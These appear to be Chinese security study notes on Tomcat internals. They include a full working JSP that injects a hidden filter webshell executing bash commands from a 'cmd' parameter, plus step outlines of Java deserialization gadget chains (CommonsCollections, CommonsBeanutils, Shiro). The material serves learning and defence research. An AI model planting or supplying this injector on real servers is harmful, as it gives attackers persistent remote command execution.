首页 > 其他分享 >笔记

笔记

时间:2022-12-27 23:13:04浏览次数:61  
标签:调用 java readObject transform 笔记 Filter https

Tomcat-filter内存马

filter初始化

FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息

FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息

FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern

FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter

WebXml:存放 web.xml 中内容的类

ContextConfig:Web应用的上下文配置类

StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper

StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet

配置 -> WebXml对象

web.xml或者是这种注解 @WebFilter(filterName = "MyFilter", urlPatterns = "/*")的解析函数在此类中D:\tomcat9.0.69\lib\catalina.jar!org.apache.catalina.startup.ContextConfig,并把相应配置转化成WebXml对象中的数据

注解方式的解析详看此链接:https://xz.aliyun.com/t/10196#toc-1

web.xml的解析暂且挖坑

WebXml对象 -> context对象

再次使用ContextConfig类调用configureContext函数解析 WebXml对象

image

image

接着是org.apache.catalina.core.StandardContext#filterStart将filterDef以ApplicationFilterConfig的形式存在,并且将其放到了filterConfig中

image

Ar3h 师傅的总结

通过web.xml配置和WebFilter注解的方式,把filter所有信息都封装成filterDef、filterMap这两个对象,然后最终都存放到了StandardContext类型对象的filterDefs变量和filterMaps变量中。

这里就产生了一个思路,只要我们获取到StandardContext这个上下文对象,把我们的filter包装成filterDef、filterMap对象,然后通过函数或者反射方式加到StandardContext的两个变量中,就相当于走完以上所有的流程配置了filter。

有HTTP请求时filter状态

  • 注意:每次HTTP请求都会创建一个filter链(FilterChain)

当我们发起一个请求后,D:\tomcat9.0.69\lib\catalina.jar!\org\apache\catalina\core\StandardWrapperValve.class中的invoke函数中会创建一个FilterChain

image

此后的过程看 天下大木头师傅的文章:http://wjlshare.com/archives/1529

天下大木头师傅的总结:

  1. 根据请求的 URL 从 FilterMaps 中找出与之 URL 对应的 Filter 名称
  2. 根据 Filter 名称去 FilterConfigs 中寻找对应名称的 FilterConfig
  3. 找到对应的 FilterConfig 之后添加到 FilterChain中,并且返回 FilterChain
  4. filterChain 中调用 internalDoFilter 遍历获取 chain 中的 FilterConfig ,然后从 FilterConfig 中获取 Filter,然后调用 Filter 的 doFilter 方法

Filter型内存马注入

获取context

参考文章:https://xz.aliyun.com/t/9914

能直接获取 request 的时候

将我们的 ServletContext 转为 StandardContext 从而获取 context

ps:当 Web 容器启动的时候会为每个 Web 应用都创建一个 ServletContext 对象,代表当前 Web 应用

ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
// ApplicationContext 为 ServletContext 的实现类
ApplicationContext applicationContext = (ApplicationContext)appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
// 这样我们就获取到了 context 
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

从线程中获取StandardContext

https://zhuanlan.zhihu.com/p/114625962

从MBean中获取

https://scriptboy.cn/p/tomcat-filter-inject/

注入内存马

  1. 创建一个恶意 Filter
  2. 利用 FilterDef 对 Filter 进行一个封装
  3. 将 FilterDef 添加到 FilterDefs 和 FilterConfig
  4. 创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    final String name = "KpLi0rn";
    ServletContext servletContext = request.getSession().getServletContext();
	
	// 获取context
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
	
	// 获取filterConfigs数组
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){  //判断是否重名
        
        // 不重名的情况下,创建一个恶意的过滤器对象
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null){
                    byte[] bytes = new byte[1024];
                    Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
                    int len = process.getInputStream().read(bytes);
                    servletResponse.getWriter().write(new String(bytes,0,len));
                    process.destroy();
                    return;
                }
                filterChain.doFilter(servletRequest,servletResponse);
            }

            @Override
            public void destroy() {

            }

        };

		
        // 创建一个 FilterDef并把name和刚创建的恶意过滤器传参
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        /**
         * 将filterDef添加到filterDefs中
         */
        standardContext.addFilterDef(filterDef);
		
        // 创建一个FilterMap对象
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");           	// 这是为了匹配所有请求
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
		
        // 把构造的恶意FilterMap对象放在最前面
        standardContext.addFilterMapBefore(filterMap);
	
        // 反射构造恶意的ApplicationFilterConfig对象
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        // 添加恶意的ApplicationFilterConfig
        filterConfigs.put(name,filterConfig);
        out.print("Inject Success !");
    }
%>

概述

Commons Collections 3.2.2的改动

image

Commons Collections4 4.1的改动

4.1⾥,这⼏个危险Transformer类不再实现 Serializable 接⼝,也就是说,他们⼏个彻底⽆法序列化和反序列化了

CommonCollections1链

适用环境

commons-collections3.1-3.2.1
jdk1.7.1以下

TransformedMap_readObject触发

大体思路

  1. AnnotationInvocationHandler#readObject()
  2. TransformedMap#put()
  3. transformerChain#transform()
  4. ConstantTransformer#transform() InvokerTransformer#transform()

细节问题在p神的《java安全漫谈》-10会详细解释

LazyMap_invoke触发

大体思路

AnnotationInvocationHandler实现了InvocationHandler接口,这在动态代理中相当于是重写了invoke()函数去解决下面问题

当通过代理类的对象调用方法a时,如何动态的去调用被代理类中的同名方法a?

  1. AnnotationInvocationHandler#readObject()

    readObject()使用代理类执行任何方法时会跳转到第2步

  2. AnnotationInvocationHandler#invoke()

  3. LazyMap#get()

  4. transformerChain#transform()

  5. ConstantTransformer#transform() InvokerTransformer#transform()

invoke是动态代理定位方法的函数。当通过代理类对象调用方法时,会自动的调用invoke函数进而调用被代理类中同名的方法

高版本jdk如何触发链

跳转到cc6链

CC2链

适用环境

commons-collections4 4.0

TestPriorityQueueTransformingComparator

大体思路

  1. java.util.PriorityQueue#readObject()

  2. PriorityQueue#heapify()

  3. PriorityQueue#siftDown()

  4. PriorityQueue#siftDownUsingComparator()

    这个函数里调用了comparator.compare()

  5. org.apache.commons.collections4.comparators.TransformingComparator#compare()

    image

  1. transformerChain#transform()

  2. ConstantTransformer#transform() InvokerTransformer#transform()

CC3链

适用环境

commons-collections3.1-3.2.1
jdk1.7.1以下
  • 关于字节码需要注意:

    这个字节码对应的类是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类

TemplatesImpl与InvokerTransformer

大体思路

cc1链基础上借助TemplatesImpl::newTransformer()ConstantTransformer构造⼀个执⾏任意字节码的链

  1. AnnotationInvocationHandler#readObject()

  2. TransformedMap#put()

    其实这一步也可以使用LazyMap#get()那条链

  3. transformerChain#transform()

  4. ConstantTransformer#transform() InvokerTransformer#transform()

    这一步是获得TemplatesImpl对象,并调用TemplatesImpl.newTransformer()函数

  • 参考链接:
    • p神的《java安全漫谈》-14

TrAXFilter与InstantiateTransformer

大体思路

cc1链基础上借助TrAXFilter和InstantiateTransformer调用TemplatesImpl::newTransformer()构造⼀个执⾏任意字节码的链

  1. AnnotationInvocationHandler#readObject()

  2. TransformedMap#put()

    其实这一步也可以使用LazyMap#get()那条链

  3. transformerChain#transform()

  4. ConstantTransformer#transform() InstantiateTransformer#transform()

    这一步是获得TrAXFilter对象,并调用TrAXFilter的构造函数,进而执行了(TransformerImpl) templates.newTransformer()

高版本jdk如何触发链

  • 参考cc1链如何改进成cc6链

CC4链

适用环境

commons-collections4 4.0

其实commons-collections依赖的其它链还可以继续用,只需把报错修改一下

CC6链

大体思路

  1. java.util.HashMap#readObject()

  2. HashMap#hash(key)

    key是Map对象

    image

  1. TiedMapEntry#hashCode()

  2. TiedMapEntry#getValue()

    这一步执行了image

  1. LazyMap#get(key)

  2. transformerChain#transform()

  3. ConstantTransformer#transform() InvokerTransformer#transform()

参考链接

  • p神的《java安全漫谈》-12

CommonsBeanutils1链

适用环境

CommonsBeanutils 1.9.3

TestPriorityQueueBeanComparator

大体思路

  1. java.util.PriorityQueue#readObject()

  2. PriorityQueue#heapify()

  3. PriorityQueue#siftDown()

  4. PriorityQueue#siftDownUsingComparator()

    这个函数里调用了comparator.compare()

  5. BeanComparator#compare()

    PropertyUtils.getProperty( o1, property ) 这段代码,当o1是一个 TemplatesImpl 对象,而 property 的值为 outputProperties 时,将会自动调用getter,也就是TemplatesImpl#getOutputProperties() 方法

    image

  1. TemplatesImpl#getOutputProperties()

    image

参考链接

  • p神的《java安全漫谈》-17

Shiro利用链

TestTiedMapInvokerTransformer

大体思路

可以结合代码中的注释看

  1. java.util.HashMap#readObject()
  2. HashMap#hash(key)
  3. TiedMapEntry#hashCode()
  4. TiedMapEntry#getValue()
  5. LazyMap#get()
  6. InvokerTransformer#transform()

参考链接

  • p神的《java安全漫谈》-15

无依赖的Shiro反序列化利用链

参考链接

  • p神的《java安全漫谈》-17

标签:调用,java,readObject,transform,笔记,Filter,https
From: https://www.cnblogs.com/W3-w/p/17009215.html

相关文章

  • 详解数据链路层-介质访问控制【王道计算机网络笔记】
    数据传输使用的两种链路点对点链路:两个相邻结点通过一个链路相连,没有第三者。应用:PPP协议,常用于广域网。例如打电话广播式链路:所有主机共享通信介质。应用:早期总线以太......
  • 多项式笔记
    多项式,清空,封装,边界,是讨厌的。NTT懒得讲原理,喵。 llA[maxn],B[maxn],pos[maxn],S[maxn]; constintmod=998244353,g=3,ginv=332748118; llksm(llx,inty) { ll......
  • 前后端笔记
    客户端--用户的角度,client服务器端--server实现三个模块。后端backend。使用springboot实现。对接mysql,redis,硬盘,微服务前端web。前端acapp。客户端发出请求ur......
  • Java学习笔记------线程安全问题
    线程的安全问题同步机制解决线程安全问题方式一:同步代码块synchronized(obj){ //需要被同步的代码}synchronized(this){}synchronized(Windows.class){}......
  • Java学习笔记----线程基础
    线程线程,进程可进一步细化为线程,是一个程序内部的一条执行路径线程作为调度和执行的单位,每个线程拥有独立的运行栈和程序计数器,线程切换的开销小线程的创建与启动Java......
  • 《高质量读研》读书摘录及笔记
    本博客将简单摘录并总结复旦大学张军平老师的书籍《高质量读研》中的内容,虽然读研究生这件事对每个人的最优解都是不同的,但也希望通过读这本书听听过来人的意见.下......
  • 学习js的一些笔记
     1,对变量的一些认识在学习java的过程中,我对变量的理解,其实就是一个在运行期进行简单储存的数据的内存空间,运行期结束后就会在各个代码的垃圾回收机制中在内存空间中消除......
  • Docker粗截图笔记
            下载包docker.com                用户组,相对地址          搜索nigix镜......
  • Python学习笔记--PySpark的基础学习(二)
    filter方法(过滤想要的数据进行保留)具体实现(保留奇数):具体实现(保留偶数):distinct方法(对RDD进行去重,返回新的RDD)且无需传参具体实现(去重):sortBy方法(排序,基于我们制定的......
  • WWDC 2013 Session笔记 - iOS7中的ViewController切换
    这是我的WWDC2013系列笔记中的一篇,完整的笔记列表请参看​​这篇总览​​​。本文仅作为个人记录使用,也欢迎在​​许可协议​​​范围内转载或使用,但是还烦请保留原文链接,谢......